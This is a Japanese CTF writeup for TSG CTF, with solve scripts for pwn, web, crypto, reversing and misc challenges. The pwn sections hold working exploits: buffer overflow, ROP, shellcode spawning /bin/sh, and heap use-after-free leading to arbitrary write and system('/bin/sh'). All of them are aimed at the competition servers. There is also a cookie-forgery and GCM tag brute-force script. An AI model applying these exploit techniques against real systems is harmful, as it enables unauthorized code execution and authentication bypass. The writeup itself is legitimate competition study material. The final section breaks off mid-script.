# TSG CTF Writeup

*暫定版。いつかちゃんと書き直します！*

## [pwn] converter

`10101010` みたいなものを変換すると 6 byte になってくれる。それを使って flag を読み出す。

print("10101010" * 21 + "000000020" * 3)

## [pwn] converter2

異常な入力を入れると -1 が返ることを利用して、3 番目の入力の末尾まで `utf8_bin` を戻した後に 3 番目の入力を伸ばす。

from ctf import *

BIN_NAME = "./chall"
LOCAL = not (("REMOTE" in os.environ) or ("REMOTE" in sys.argv))

chall = ELF(BIN_NAME)

if LOCAL: stream = process(BIN_NAME)
else: stream = remote("nc 34.146.195.242 40004")

payload = "00010000"

stream.sendlineafter("> ", "10101010" * 22 + "".join([hex(ord(c))[2:].zfill(8) for c in payload]))
stream.sendlineafter("> ", "00010000")
pause()
stream.sendlineafter("> ", "00010000" * 31)

stream.interactive()

## [pwn] sloader

`rwx` 領域でコードが動いているので、shellcode が書き込める。`scanf("%s", buf)` は `rbp` から書き込むアドレスを計算しているため、`pop rbp` ガジェットを使うと AAW ができる。scanf 終了後のアドレスに shellcode を直置きした。

from ctf import *

BIN_NAME = "./chall"
REMOTE_LIBC_PATH = "./lib/libc.so.6"
LOCAL = not (("REMOTE" in os.environ) or ("REMOTE" in sys.argv))

chall = ELF(BIN_NAME)

if LOCAL: stream = process(["./sloader", BIN_NAME])
else: stream = remote("nc 34.146.195.242 40001")

chall.base = 0x1400000

RWX_POS = 0x1401000
SHELLCODE_POS = RWX_POS + 0x19f # next addr of scanf("%s", buf)

stream.sendline(
    b"A" * 40 + \
    p64(next(chall.gadget("pop rbp; ret;"))) + \
    p64(SHELLCODE_POS + 0x20) + \
    p64(chall.base + 0x1184)
)


stream.sendline(nasm(
    """
    mov rax, 59
    lea rdi, [rel s_binsh]
    xor rsi, rsi
    xor rdx, rdx
    syscall
    s_binsh: db "/bin/sh", 0
    """,
    bits=64
))

stream.interactive()

## [pwn] tinyfs

ディレクトリを消去した際に子ディレクトリの cache を消去していないので、消したはずのディレクトリにアクセスできる。そこから file の UAF を使ってアドレスリーク、AAR, AAW が実現できる。RIP は environ -> ROP で制御。

from math import e
from ctf import *

BIN_NAME = "./chall_patched"
REMOTE_LIBC_PATH = "./lib/libc.so.6"
LOCAL = not (("REMOTE" in os.environ) or ("REMOTE" in sys.argv))

chall = ELF(BIN_NAME)

if LOCAL: stream = process(BIN_NAME)
else: stream = remote("nc 34.146.195.242 31415")

def prompt(cmd):
    msg = stream.recvuntil("$ ", drop=True)
    if msg: print(msg)
    print("$", cmd)
    stream.sendline(cmd)

def make_directory(path):
    prompt(f'mkdir {path}')
def make_file(path):
    prompt(f'touch {path}')
def enter(path):
    prompt(f'cd {path}')
def leave():
    prompt('cd ..')
def delete_item(arg):
    prompt(f'rm {arg}')
def list_items():
    prompt('ls')
    return stream.recvuntil(b"\n$ ", drop=True, lookahead=True)    
def print_file_content(file_name):
    prompt(f'cat {file_name}')
    return stream.recvuntil(b"\n$ ", drop=True, lookahead=True)
def write_file_content(file_name, content, do_return=True):
    prompt(f'mod {file_name}')
    if do_return:
        stream.sendlineafter("> ", content)
    else:
        stream.sendafter("> ", content)

make_directory("d1")
enter("d1")
make_file("f1")
make_file("f2")
make_file("f3")
make_file("f4")
make_file("f5")
make_file("f6")
make_file("f7")
make_file("f8")
make_directory("d2")

enter("/d1/d2") # make cache
enter("/")
delete_item("d1")
enter("/d1/d2")
leave()

def reverse_shift(h2: int, shift: int):
    recovered = 0
    for i in range(0, h2.bit_length())[::-1]:
        recovered *= 2
        recovered ^= (h2 >> i & 1) ^ (recovered >> shift & 1)
    assert (recovered ^ (recovered >> shift)) == h2
    return recovered

main_arena_addr = u64(print_file_content("f1"))
heap_base = u64(print_file_content("f8")) << 0xc

print(f'{hex(main_arena_addr)=}')
print(f'{hex(heap_base)=}')

libc = ELF(REMOTE_LIBC_PATH)
libc.base = main_arena_addr - 0x1f6ce0

write_file_content("f2", p64(heap_base >> 12 ^ (heap_base + 0x110)))
enter("/")
make_file("dummy1")
make_file("tcache")

counter = 0
def aaw(addr, content):
    global counter
    write_file_content("tcache", b"\x00" * 8 + p64(addr))
    filename = f"aaw{counter}"
    make_file(filename)
    write_file_content(filename, content)
    counter += 1

root_obj_addr = heap_base + 0x2a0
# aaw(root_obj + 0x130, p64(libc.symbol("environ", True)))
aaw(root_obj_addr + 0x130, p64(libc.symbol("environ", True)))

print(f'{hex(root_obj_addr)=}')
print(f'{hex(libc.symbol("environ", True))=}')

listed = list_items()
environ_addr = u64(listed.split(b"/\n")[0])
print(listed, f'{hex(environ_addr)=}')

return_addr = environ_addr-0x128

aaw(
    return_addr, 
    b'\x00' * 8 + \
    p64(next(libc.gadget("ret;"))) + \
    p64(next(libc.gadget("pop rdi; ret;"))) + \
    p64(next(libc.search(b"/bin/sh\x00"))) + \
    p64(libc.symbol("system", True))
)

stream.interactive()

## [pwn] BABA PWN GAME

レベル名に `hard.y\x00...\x00` みたいな入力をするとステージ外に出られる。そこから、`*` を壁にめり込ませた後に `SINK` にし、壁を破壊することを目指す。

- O と @ を動かして S is YOU に
- S を動かして I is YOU に
- I で I を押してステージ内に侵入し、下に大量にある O を片付ける
- これをせずに O is YOU とすると、自分が壁にめり込みゲームオーバーになる
- 外にある I や内側の O の位置に気をつけながら、O を押して * から壁までの通り道にある X を破壊
- O is You にする
- * を 6 の前にをめり込ませる
- 外にいる I を動かして * is STOP and SINK に
- 中にいる O を動かし、* がめり込んでいる壁に押し込む
- SINK の発火条件がそのマスが update されることなので
- 壁が壊れるので、6 に到達できるようになる

なんか I を押してゴールにたどり着けるらしい。ゴール前の壁が二重になっていても解けるやり方ということで……

from ctf import *

BIN_NAME = "./baba_pwn_game"
# REMOTE_LIBC_PATH = "./lib/libc.so.6"
LOCAL = not (("REMOTE" in os.environ) or ("REMOTE" in sys.argv))

chall = ELF(BIN_NAME)

if LOCAL: stream = process(BIN_NAME)
else: stream = remote("nc 34.146.195.242 10906")

stream.sendlineafter("(easy/hard)", b'hard.y'.ljust(64, b'\x00'))

# S is PUSH
stream.sendline("wdddddddssssssassssssdaaaaaaasdddddd")
# S is YOU
stream.sendline("wds")
# I is YOU
stream.sendline("sdsdddssssssaassssssaawdddswddsas")
# I inside
stream.sendline("sddsdssssss")
# DESTROY Os
stream.sendline("sssssssddddddddsdddddddddddddawddaaasaaawdddddddaaaaaaasaaaaaaaaawddddddddddddddddaasaasaaaaaaaaaaa")
# Adjust outside Is
stream.sendline("ddddddddddddwwdddddsdd")
# Clear up Xs
stream.sendline("wwasssssaaaaawwwsaawwdwaaaaaaaddddddsswaassssaaaawwawdwassdssawwwdwaaaadddssssddddddddwddsaasawdwaaaaaasawwwawdddssssawdddddddwadsdddwaaaaaaaaaaasawwwdwaaaaaaaaaaw")
# O is YOU
stream.sendline("ssassssssdddds")
# Preapre *
stream.sendline("dddddddddddddaaawaaaaaaaaaadddwwddddddddddddddwwddddsddwaaaaaaaaaaaaaaaaaaasawdwa")
# * is STOP and SINC
stream.sendline("dsddddddddsssddsddwddwwaaawwwwwdssdssdwwwwwssssssaawwwwwsssaadsssss")
# Destroy WALL
stream.sendline("aaaaaaawwwwwawwwaaaaaawwwaasaaawawaaa")
# WIN!
stream.interactive()

## [web] brain

string 以外の型も入るため、`{"0": "a", "1000": "a", "length":"1001"}` のような入力を入れればいい。

## [web] dance

GCM の tag は先頭からの一致で判定され、長さのチェックは自前でやらないといけない。ありがとう theoremoon 先生、ありがとう kurenaif 先生。
https://twitter.com/fwarashi/status/1570307626847862784

import base64
import requests
from urllib.parse import unquote, quote
from ctf import *

sess = requests.session()

base = "http://34.84.176.251:8080/"

sess.post(base + "index.php", data={ "auth": "guest" })

auth_cookie = sess.cookies["auth"]
auth = base64.b64decode(unquote(auth_cookie))

forged_auth = xor(xor(auth, b'guest'), b'admin')

auth_cookie = quote(base64.b64encode(forged_auth))

for tag in range(256):
    sess.cookies["auth"] = auth_cookie
    sess.cookies["tag"] = quote(base64.b64encode(bytes([tag])))
    res = sess.get("http://34.84.176.251:8080/mypage.php").content.decode()
    if "rewrote" in res: continue
    print(res)

## [cry] Unique Flag

Flag の隣接する 2 文字の候補が絞られるため、その情報を用いて木を探索する。First blood を狙っていたので、スクリプトでは枝狩りや flag 候補の判定がかなり雑である。

from output import *

cur_flag = list(b"TSGCTF{")

def solve(cur_flag):
    x = pow(cur_flag[-1], e, N)
    for next_c in range(20, 128):
        if next_c in cur_flag[7:]: continue
        y = pow(next_c, e, N) 
        if (x * y % N) in clues:
            nxt_flag = cur_flag + [next_c]
            print(bytes(nxt_flag))
            if next_c == ord("}"):
                print(bytes(nxt_flag))
                input()
            else:
                solve(nxt_flag)

solve(cur_flag)

## [cry] Complicated Function

`m * (m + 2**1023) ≒ N` となるような `m` を考えると、`p` が `[m - (2**512-1)//5, p - (2**512-1)//5 + 2**506)` の範囲に収まることが分かった。これは Partial Key Exposure Attack で解くことができる。bit 数がかなり大きいので、6 bit をグリッドサーチし、それぞれについて 500 bit の PKE Attack をした。以下のスクリプトではグリッドサーチする値を素数性を用いて削減しているため少々煩雑になっている。

#!/bin/bash
for i in {0..5}
do
   sage solve2.sage $i 6 &
done

import sys
import time
from Crypto.Util.number import *
from itertools import product

from tqdm import tqdm

from output import N

ub, lb = 2**1024, 2**1023
while ub - lb > 1:
    mid = (ub + lb) // 2
    if N < mid * (mid + 2**1023): ub = mid
    else: lb = mid

n = N
p_msb = ub - (2**512-1)//5
UNKNOWN_BIT = 506

SEARCH_BITS = 6
SMALL_ROOTS_BETA = 0.34
SMALL_ROOTS_EPSILON = 0.0055

# (p_msb // base * base) + x*base + y
def get_ys(base):
    sieve = [True] * base
    for p, _ in factor(base):
        for i in range(0, len(sieve), p):
            sieve[i] = False
    return [i for i in range(base) if sieve[i]]

min_len = 2**30 # inf
min_arg = (-1, [])

primes = [2, 3, 5, 7, 11]
for ps in product(primes):
    base_factor = 1
    for p in ps: base_factor *= p
    base = (2**SEARCH_BITS // base_factor + 1) * base_factor
    ys = get_ys(base)
    if len(ys) < min_len:
        min_len, min_arg = len(ys), (base, ys)

base, ys = min_arg
p_lower = p_msb // base * base
p_upper = p_msb + (2**UNKNOWN_BIT)

x_bound = (p_upper - p_lower + base - 1) // base

assert x_bound <= 2**(UNKNOWN_BIT-SEARCH_BITS)

# p = p_lower + x*base + y
#     gcd(p_lower + x*base + y, base) == 1
# <=> gcd(y, base) == 1

def solve(y, file):
    PR.<x> = PolynomialRing(Zmod(n))
    f = p_lower + x * base + y
    f = f.monic()
    x_cand = f.small_roots(X=x_bound, beta=SMALL_ROOTS_BETA, epsilon=SMALL_ROOTS_EPSILON)
    print(x_cand)
    for cand in x_cand:
        p = int(p_lower + cand * base + y)
        print(p, file=file, flush=True)
        if n % p == 0:
            print("found", file=file, flush=True)

ind = int(sys.argv[1])
num = int(sys.argv[2])

start = time.time()

file = open(f'res_{ind}_{num}.txt', "w")
# file = sys.stdout
for y in tqdm([y for i, y in enumerate(ys) if i % num == ind], file=file):
    solve(y, file)
    file.flush()

## [cry] streamer

flag のそれぞれの箇所の文字種が限られているので、key の各要素としてありえる要素が限られる。ある程度絞った後は全探索が可能。

import base64
import hashlib
from itertools import product
from re import A
import re
import string

import tqdm
from output import *

def gen_flag(flag_content):
    flag_hash = hashlib.md5(flag_content).digest()
    return b"TSGCTF{"+flag_content+b"@"+base64.b64encode(flag_hash)+b"}"

FLAG_CONTENT_LEN = 271

assert len(cipher) == len(gen_flag(b"A" * FLAG_CONTENT_LEN))


pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")

alphabet = [i for i in range(128) if re.fullmatch(pattern, chr(i))]

flag_char_candidates = \
    [[c] for c in b"TSGCTF{"] + \
    [alphabet for _ in range(FLAG_CONTENT_LEN)] + \
    [[ord("@")]] + \
    [list((string.ascii_lowercase + string.ascii_uppercase + string.digits + "+/").encode())] * 22 + \
    [[c] for c in b"==}"]

test_flag = gen_flag(b"A" * FLAG_CONTENT_LEN)

assert all([c in cands for cands, c in zip(flag_char_candidates, test_flag)])
assert len(flag_char_candidates) == flag_length

paireds = [*zip(flag_char_candidates, cipher)]

key_candidates = []

for i in range(16):
    pairs = [paired for ind, paired in enumerate(paireds) if ind % 16 == i]
    # print(pairs)
    s = set(range(256))
    for plain_cands, c in pairs:
        key_cands = sorted([cand ^ c for cand in plain_cands])
        s = s.intersection(key_cands)
    key_candidates.append(list(s))

print(key_candidates)

for key in tqdm.tqdm([*product(*key_candidates)]):
    plain = "".join([chr(key[i % 16] ^ c) for i, c in enumerate(cipher)]).encode()
    content = plain[7:][:FLAG_CONTENT_LEN]
    # input([plain, gen_flag(content)])
    if gen_flag(content) != plain: continue
    print(plain.decode())

## [cry] RANDOM SEED RANDOM

与える seed を適切に調整することで、`seed(s:=randrange())` が短いサイクル長を持つようにしたい。そうすると、関数 `r` からの出力を数種類に絞ることができるためである。ランダムな関数が長さ `4` 以下のサイクルを持たない確率は、`((20231104*9-1)/(20231104*9))^(20231104*9*4)` を計算すると、1% 程度であると分かる（サイクルの性質から、これよりは少し起こりやすいと思われる）。なので、これを計算する。

import random
import sys
from tqdm import tqdm
for i in tqdm(range(20231104, 20231104 * 10)):
    if i % num != ind: continue 
    seed = i
    for j in range(3):
        random.seed(seed)
        seed = random.randrange(20231104, 20231104 * 10)
        if i == seed: print(i, j)

すると、`seed = 47852311` としたときに `47852311 -> 89794361 -> 66523739 -> 47852311 -> ...` と循環するということを発見できた。これを用いて、それぞれの文字について 3 種類の暗号化結果が得られるまで結果を集め、そこからそれぞれの文字を求めた。

from ctf import *

BIN_NAME = ["python", "./main.py"]
LOCAL = not (("REMOTE" in os.environ) or ("REMOTE" in sys.argv))

SEED = 47852311
random.seed(SEED)
def step():
    seed = random.randrange(20231104, 20231104 * 10)
    random.seed(seed)
    return seed

step()
step()
assert step() == SEED

r_cands = [step(), step(), step()]

print(r_cands)

collected = []

while True:
    if LOCAL: stream = process(BIN_NAME)
    else: stream = remote("nc 34.84.217.62 10960")
    stream.sendlineafter(": ", SEED)
    collected.append(stream.recvlineafter(": "))

    flag_len = len(collected[0])
    if all([len(set(chars)) == len(r_cands) for chars in zip(*collected)]): break

print(collected)

cs = string.printable[:-6].encode()
candidates_to_char = { tuple(sorted([cs[(cs.index(c) + r) % len(cs)] for r in r_cands])): c for c in cs }

print(candidates_to_char)

res = [candidates_to_char[tuple(sorted(set(chars)))] for chars in zip(*collected)]

print(bytes(res))

## [cry] Learning with Exploitation

LWE を実装しているが、ランダムであるべきベクトルが 0, 1 になっている。これはナップサック暗号のようにして解けるのではないかと考えたため、これを実装した。スケーリングは雰囲気で行った。

from random import choice
from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler
from sage.crypto.lwe import LWE, samples, balance_sample
from sage.misc.prandom import randrange

from ctf import *

p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
F = GF(p)
d = 100
n = 10
q = p // (2 ** 64) # not prime
D = DiscreteGaussianDistributionIntegerSampler(q // d // 6) # six sigma

from output import public_key, ciphertext

A, T = public_key

A = matrix(F, A)
T = vector(F, T)

res = b''

for U, v in tqdm(ciphertext):
  U = vector(F, U)
  INF1 = int(sqrt(p))
  INF2 = p
  lattice = []
  for i, row in enumerate(public_key[0]):
    cost = [0] * d
    cost[i] = INF1 * 2
    lattice.append([*row, *cost, 0])

  lattice.append([*U,         *([INF1] * d), INF2])

  for i in range(n):
    mods = [0] * n
    mods[i] = p
    lattice.append([*mods, *([0] * d), 0])

  mat = matrix(ZZ, lattice)

  for row in mat.LLL():
    if row[-1] == 0: continue
    assert all([item == 0 for item in row[:n]])
    choices = row[n:][:d]
    assert all([abs(item) == INF1 for item in choices])
    r = vector([1 if item != INF1 else 0 for item in choices])
    # print(r * matrix(A), U)
    # assert r * matrix(A) == U
    m = (v - r * vector(T)) // q
    res += long_to_bytes(int(m))

print(res)

## [rev] beginners_rev_2023

"Correct" や "Wrong" といったシンボルから処理の場所をたどると、以下のような見た目の関数にたどり着く。なお、デコンパイルは Ghidra によるものである。

extern char result_buf[0x200];

void check(void) {
  int iVar1;
  int *expanded_key;
  void *input_buf;
  char *_Str;
  longlong len;
  undefined8 uVar2;
  longlong _j;
  undefined8 uVar3;
  longlong i;
  undefined8 in_R9;
  undefined auStack_258 [32];
  char key [16];
  char input [512];
  ulonglong local_18;
  ulonglong *buf;
  ulonglong *nxt_buf;
  
  expanded_key = (int *)malloc(0x408);
  *(undefined8 *)expanded_key = 0;
  strcpy(key, "2023TTSSGG2023!");
  _j = -1;
  do {
    len = _j + 1;
    i = _j + 1;
    _j = len;
  } while (key[i] != '\0');
  expand_key(expanded_key,(int)len,key);
  input_buf = malloc(0x201);
  uVar2 = 0;
  uVar3 = 0x201;
  memset(input_buf,0,0x201);
  printf("Flag> ");
  scanf("%s",input_buf,0x201,in_R9);
  memset(input,0,0x201);
  _j = 2;
  i = 2;
  buf = (ulonglong *)((longlong)input_buf + 0x18);
  do {
    buf[-3] = buf[-3] ^ buf[-3] >> 0xc;
    buf[-2] = buf[-2] ^ buf[-2] >> 0xc;
    buf[-1] = buf[-1] ^ buf[-1] >> 0xc;
    *buf = *buf ^ *buf >> 0xc;
    buf[1] = buf[1] ^ buf[1] >> 0xc;
    buf[2] = buf[2] ^ buf[2] >> 0xc;
    // ...
    buf[0x13] = buf[0x13] >> 0xc ^ buf[0x13];
    buf[0x14] = buf[0x14] >> 0xc ^ buf[0x14];
    nxt_buf = buf + 0x20;
    buf[0x15] = buf[0x15] >> 0xc ^ buf[0x15];
    buf[0x16] = buf[0x16] >> 0xc ^ buf[0x16];
    buf[0x17] = buf[0x17] >> 0xc ^ buf[0x17];
    buf[0x18] = buf[0x18] >> 0xc ^ buf[0x18];
    buf[0x19] = buf[0x19] >> 0xc ^ buf[0x19];
    buf[0x1a] = buf[0x1a] >> 0xc ^ buf[0x1a];
    buf[0x1b] = buf[0x1b] >> 0xc ^ buf[0x1b];
    buf[0x1c] = buf[0x1c] >> 0xc ^ buf[0x1c];
    i = i + -1;
    buf = nxt_buf;
  } while (i != 0);
  FUN_1400010e0((uint *)expanded_key,nxt_buf,(longlong)input_buf,(longlong)input);
  buf = (ulonglong *)(input + 0x18);
  do {
    buf[-3] = buf[-3] ^ buf[-3] >> 0xc;
    buf[-2] = buf[-2] ^ buf[-2] >> 0xc;
    buf[-1] = buf[-1] ^ buf[-1] >> 0xc;
    *buf = *buf ^ *buf >> 0xc;
    buf[1] = buf[1] ^ buf[1] >> 0xc;
    buf[2] = buf[2] ^ buf[2] >> 0xc;
    // ...
    buf[0x1b] = buf[0x1b] >> 0xc ^ buf[0x1b];
    buf[0x1c] = buf[0x1c] >> 0xc ^ buf[0x1c];
    _j = _j + -1;
    buf = buf + 0x20;
  } while (_j != 0);
  iVar1 = memcmp(input,&result_buf,0x200);
  _Str = "Correct!!!";
  if (iVar1 != 0) {
    _Str = "Wrong...";
  }
  puts(_Str);
}

また、この関数内で呼ばれている関数は以下のような見た目になっている。

void encryption(uint *key, byte *plain, byte *cipher)

{
  uint uVar1;
  uint uVar2;
  uint uVar3;
  ulonglong uVar4;
  byte *pbVar5;
  longlong lVar6;
  ulonglong uVar7;
  uint uVar8;
  byte *pbVar9;
  
  uVar4 = (ulonglong)*key;
  uVar7 = (ulonglong)key[1];
  lVar6 = 0x20;
  pbVar5 = cipher + 2;
  pbVar9 = plain + 2;
  do {
    uVar3 = (int)uVar4 + 1U & 0xff;
    uVar1 = key[(ulonglong)uVar3 + 2];
    uVar8 = uVar1 + (int)uVar7 & 0xff;
    uVar2 = key[(ulonglong)uVar8 + 2];
    key[(ulonglong)uVar3 + 2] = uVar2;
    key[(ulonglong)uVar8 + 2] = uVar1;
    pbVar9[(longlong)(cipher + (-2 - (longlong)plain))] =
         *(byte *)(key + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[-2];
    uVar3 = uVar3 + 1 & 0xff;
    uVar1 = key[(ulonglong)uVar3 + 2];
    uVar8 = uVar8 + uVar1 & 0xff;
    uVar2 = key[(ulonglong)uVar8 + 2];
    key[(ulonglong)uVar3 + 2] = uVar2;
    key[(ulonglong)uVar8 + 2] = uVar1;
    pbVar5[-1] = *(byte *)(key + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[-1];
    // ......
    uVar3 = uVar3 + 1 & 0xff;
    uVar1 = key[(ulonglong)uVar3 + 2];
    uVar8 = uVar8 + uVar1 & 0xff;
    uVar2 = key[(ulonglong)uVar8 + 2];
    key[(ulonglong)uVar3 + 2] = uVar2;
    key[(ulonglong)uVar8 + 2] = uVar1;
    pbVar5[0xc] = *(byte *)(key + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[0xc];
    uVar3 = uVar3 + 1 & 0xff;
    uVar4 = (ulonglong)uVar3;
    uVar1 = key[uVar4 + 2];
    uVar8 = uVar8 + uVar1 & 0xff;
    uVar7 = (ulonglong)uVar8;
    uVar2 = key[uVar7 + 2];
    key[uVar4 + 2] = uVar2;
    key[uVar7 + 2] = uVar1;
    pbVar5[0xd] = *(byte *)(key + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[0xd];
    lVar6 = lVar6 + -1;
    pbVar5 = pbVar5 + 0x10;
    pbVar9 = pbVar9 + 0x10;
  } while (lVar6 != 0);
  key[1] = uVar8;
  *key = uVar3;
  return;
}

この関数何らかの既存の暗号を実装していると推測したため、 ChatGPT に質問をした。すると、`RC4` であることが分かった。

コードは深く読み込まず、上の方で別の関数に渡されている文字列 `2023TTSSGG2023!` を key とし、RC4 に渡される前及び後で各 byte が `c ^ c >> 0xc` により暗号化されていると推測した。この推測に基づき復号化処理を書くと、以下の通りとなった。

from Crypto.Cipher import ARC4
from Crypto.Hash import SHA256, HMAC
from Crypto.Random import get_random_bytes
from more_itertools import chunked

cipher = ARC4.new(b'2023TTSSGG2023!')
scrambled_enc = b'\x07\x56\xe5\x58\x71\x89\x9a\xca\xf0\x67\x03\x2d\x49\xfb\x6e\x86\xc2\xf7\x48\xca\x3c\x43\xdb\x8e\x04\x2a\x56\x4a\x97\x33\xa1\xa2\x07\x83\xf0\x89\x19\x13\x77\xb4\x9f\x7d\x7b\x9c\xdd\x8e\xfd\xad\xb5\xe2\x28\x0e\x06\xaf\xe5\xe3\x86\xc3\x08\xad\xe6\x4c\xde\x63\xa3\x5f\x1e\x96\x34\x7d\x9d\x19\xf5\xc8\x84\x7f\x7b\x62\x2a\x6b\xc1\x28\x3b\x6d\x09\xef\xfc\xcb\xa0\x90\x9a\x3e\x66\xa2\x4e\x06\x90\x2c\x9d\xae\x3c\x99\x40\x53\x4c\x69\x63\xe7\xb9\xa8\xb3\x87\xa5\x97\x98\xfe\x1f\x20\x51\xa7\xae\x0d\x00\xab\x16\x35\x59\x3d\x08\x1b\x1c\x92\xe2\x4f\x1d\x86\xa5\x6e\x0a\x14\x45\x4d\x61\x08\x69\xc3\x12\xa2\xeb\x50\x13\x93\x22\xe2\xc4\x10\xca\x5f\xb2\x0b\xa2\x30\xc8\x54\x91\x3a\x37\xfd\xd2\x10\xab\x5a\xf8\x38\xf3\xd3\xd5\x85\x58\xde\xdf\xc0\xf4\x17\x4e\xf7\x31\x79\xdd\x41\x2f\xb3\x20\xc7\xec\x98\x5e\xae\xf7\xa9\xcb\x27\x13\x72\xfe\xca\x64\xff\x43\x93\x80\x3e\x1e\xe5\x99\xbf\x41\x4b\x9d\x85\x4e\x0f\x99\x94\x57\xe1\x63\xd9\x01\x85\x78\x8a\x06\xfe\x9d\x41\x32\x74\x55\x83\xb2\x85\xe9\x9f\xc6\x2c\x4b\x62\x8f\xbf\x7d\x57\xc8\x76\x3b\x31\x5e\x87\x60\x89\x35\x41\xc1\x52\x6c\xd0\x0b\x7d\xca\x60\x5d\x82\x19\xb0\x96\x5e\x16\xe7\x9b\x2f\x37\x5f\xc9\xc5\xf3\x20\xc3\x45\xcb\x47\xa1\xcc\x79\xe5\xb6\xfb\xd4\x55\xdb\xc1\x35\x9b\x8b\xfa\x38\xd5\xb2\xb5\xe0\x4f\x4d\x6c\x4f\x8c\x0c\x42\xbc\x8e\xb3\x78\x48\xe4\x87\x8e\x34\xa3\x1d\x01\x53\x98\x71\xfa\x8f\x2f\xe3\x7a\x6b\xb9\x1b\xb6\x7e\x34\x7f\xc8\xc4\x6c\xab\x45\x4d\x81\xef\xee\xc3\xd9\xdb\x13\x5b\x63\x90\xfc\x34\x18\x81\xbc\xd1\x18\x48\xbb\x7c\x24\x5b\x56\x2b\x35\x6b\xd7\xf9\xd3\xd5\x2b\xe2\x24\xd8\x50\xf1\xec\xd5\xe6\x29\x55\x66\xf2\xf7\x28\x20\x7d\xf3\x47\x40\x03\x11\x4a\x47\xa5\xb4\x74\x15\x35\xd0\xf0\xe5\x4c\x04\xb5\x59\xfe\xfc\x45\x9d\x3a\xa1\x3f\x1a\xa7\xa8\x51\xe5\x65\xf1\x56\xee\xde\xfc\xc4\x87\xf5\xfa\x79\x31\x07\x0a\x3f\x41\x28\xd1\x59\x17\x4d\x02\xe4\x5a\x22\x3a\xbc\xd2\xcd\x80\xbc\x2a\x49\xf0\x7f\x97\xa1\x90\x59\x01\x8d\x25\x43\xd8\x00\xea\xd8\x4f\xe2\x4e\x2b\x06\xfd\x7e\x16\xa9\x92\xc4\xfd\xb5\x6a\x82\x06\x18\x0c\x0a\xb7\xb8\x29\x8f\x87\x63\x65\x25\xb9\x7a\xd0\x6e\x30\x3c\xf2\xf7\xc2\x30\x86'

def reverse_shift(h2: int, shift: int):
    recovered = 0
    for i in range(0, h2.bit_length())[::-1]:
        recovered *= 2
        recovered ^= (h2 >> i & 1) ^ (recovered >> shift & 1)
    assert (recovered ^ (recovered >> shift)) == h2
    return recovered

def batch_reverse(b: bytes, shift: int):
    return b''.join([reverse_shift(int.from_bytes(chunk, "little"), shift).to_bytes(8, "little") for chunk in chunked(b, 8)])

enc = batch_reverse(scrambled_enc, 0xc)
scrambled_plain = cipher.decrypt(enc)
plain = batch_reverse(scrambled_plain, 0xc)

print(plain)

## [rev] T the weakest

`strace` でバイナリの挙動を確認すると、再帰的に `/proc/self/fd/3` を用いて自己を呼び出していることが分かった。この際、引数に与えた flag が先頭から 1 文字ずつ判定し、不正解の文字の時点で判定が停止するという挙動をしていることも分かった。

$ strace ./t_the_weakest TSGCTF{A 2>&1 | grep t_the_weakest
execve("./t_the_weakest", ["./t_the_weakest", "TSGCTF{A"], 0x7ffe82ea0598 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "SGCTF{A"], 0x7fffd3acd670 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "GCTF{A"], 0x7fffe2ece7e0 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "CTF{A"], 0x7ffd1e6294b0 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "TF{A"], 0x7ffe5d4bc2f0 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "F{A"], 0x7ffe4d03b940 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "{A"], 0x7fff8ec40670 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "A"], 0x7ffd60532f10 /* 89 vars */) = 0

この挙動を用いて、部分的に求まった flag の次の一文字をブルートフォースし、flag を逐次的に求めていくことを考える。`strace` を用いた手法はデバッガ検知により flag の途中から使えなくなったので、他の手法を用いることとした。
このフラグチェッカーは、`ng` を出力した後に `exit` を呼んでいる。この exit を LD_PRELOAD を用いて置き換え、現時点でのコマンドライン引数を出力する処理を追加した。

#include<stdlib.h>
#include<stdint.h>
#include <stdio.h>
#include <stdlib.h>

void exit(int val) {
    FILE *f = fopen("/proc/self/cmdline", "r");
    
    char buf[4096];
    size_t n = fread(buf, 1, sizeof(buf), f);
    size_t i, last_null = 0;
    for (i = 0; i < n - 1; i++) {
        if (buf[i] == '\0') {
            last_null = i;
        }
    }
    printf("%s\n", &buf[last_null + 1]);
    fflush(stdout);
    fclose(f);
    _exit(val);
}

これを用いることで、flag の末尾まで求められた。

from ctf import *

def test_prefix(cur: str):
    while True:
        proc = subprocess.run(["./t_the_weakest", cur], env={ "LD_PRELOAD": "./hook.so" }, stdout=subprocess.PIPE)
        stdout = proc.stdout.decode().split("\n")[1].strip()
        if 2 <= len(stdout): continue
        return len(stdout) == 0
 
alphabet = set(string.printable) - set(" \t\n\x0b\x0c\r")

cur = "TSGCTF{"
while True:
  print(f"[+] {cur=}")
  for c in tqdm(list(alphabet)):
    nxt = cur + c
    print(nxt)
    if not test_prefix(nxt): continue
    print("\n")
    cur = nxt
    break
  else:
    break

print(cur)

## [misc] Graffiti in the Fog

この問題は、点群について分散が少ない方向を二方向見つけてくる問題である。これは主成分分析を行えばよい。

import numpy as np
from sklearn.decomposition import PCA
import matplotlib.pyplot as plt

A = np.load("problem.npy")

pca = PCA()
pca.fit(A)

data_pca = pca.transform(A)

plt.scatter(data_pca[:, 2], data_pca[:, 3], s=0.01)
plt.axis("equal")
plt.gca().invert_yaxis()
plt.show()


## [misc] Secret Sequence

expanded key が 8 bit のエントロピーしか持たない。

encrypted_flags = [136566763988814260123977728391695169870, 297854733988125490212154919002758942167, 140286143861115781298750245081274386093, 267780198301748450281498233524628586631, 67891782595602432915140903440966332185, 27833795440965705923198634284529559150, 75239374091619069386173206358307312436, 155895086707931827255209248461881439022, 168571968627802622229088996983467487220, 258118042758062906462047523793633475289]
while True:
    block_length = len(encrypted_flags)
    nonce = 18639088674531619804203553158
    assert block_length <= 2**32
    counter = [int.to_bytes((nonce<<32) + i,16,'big') for i in range(0,block_length)]
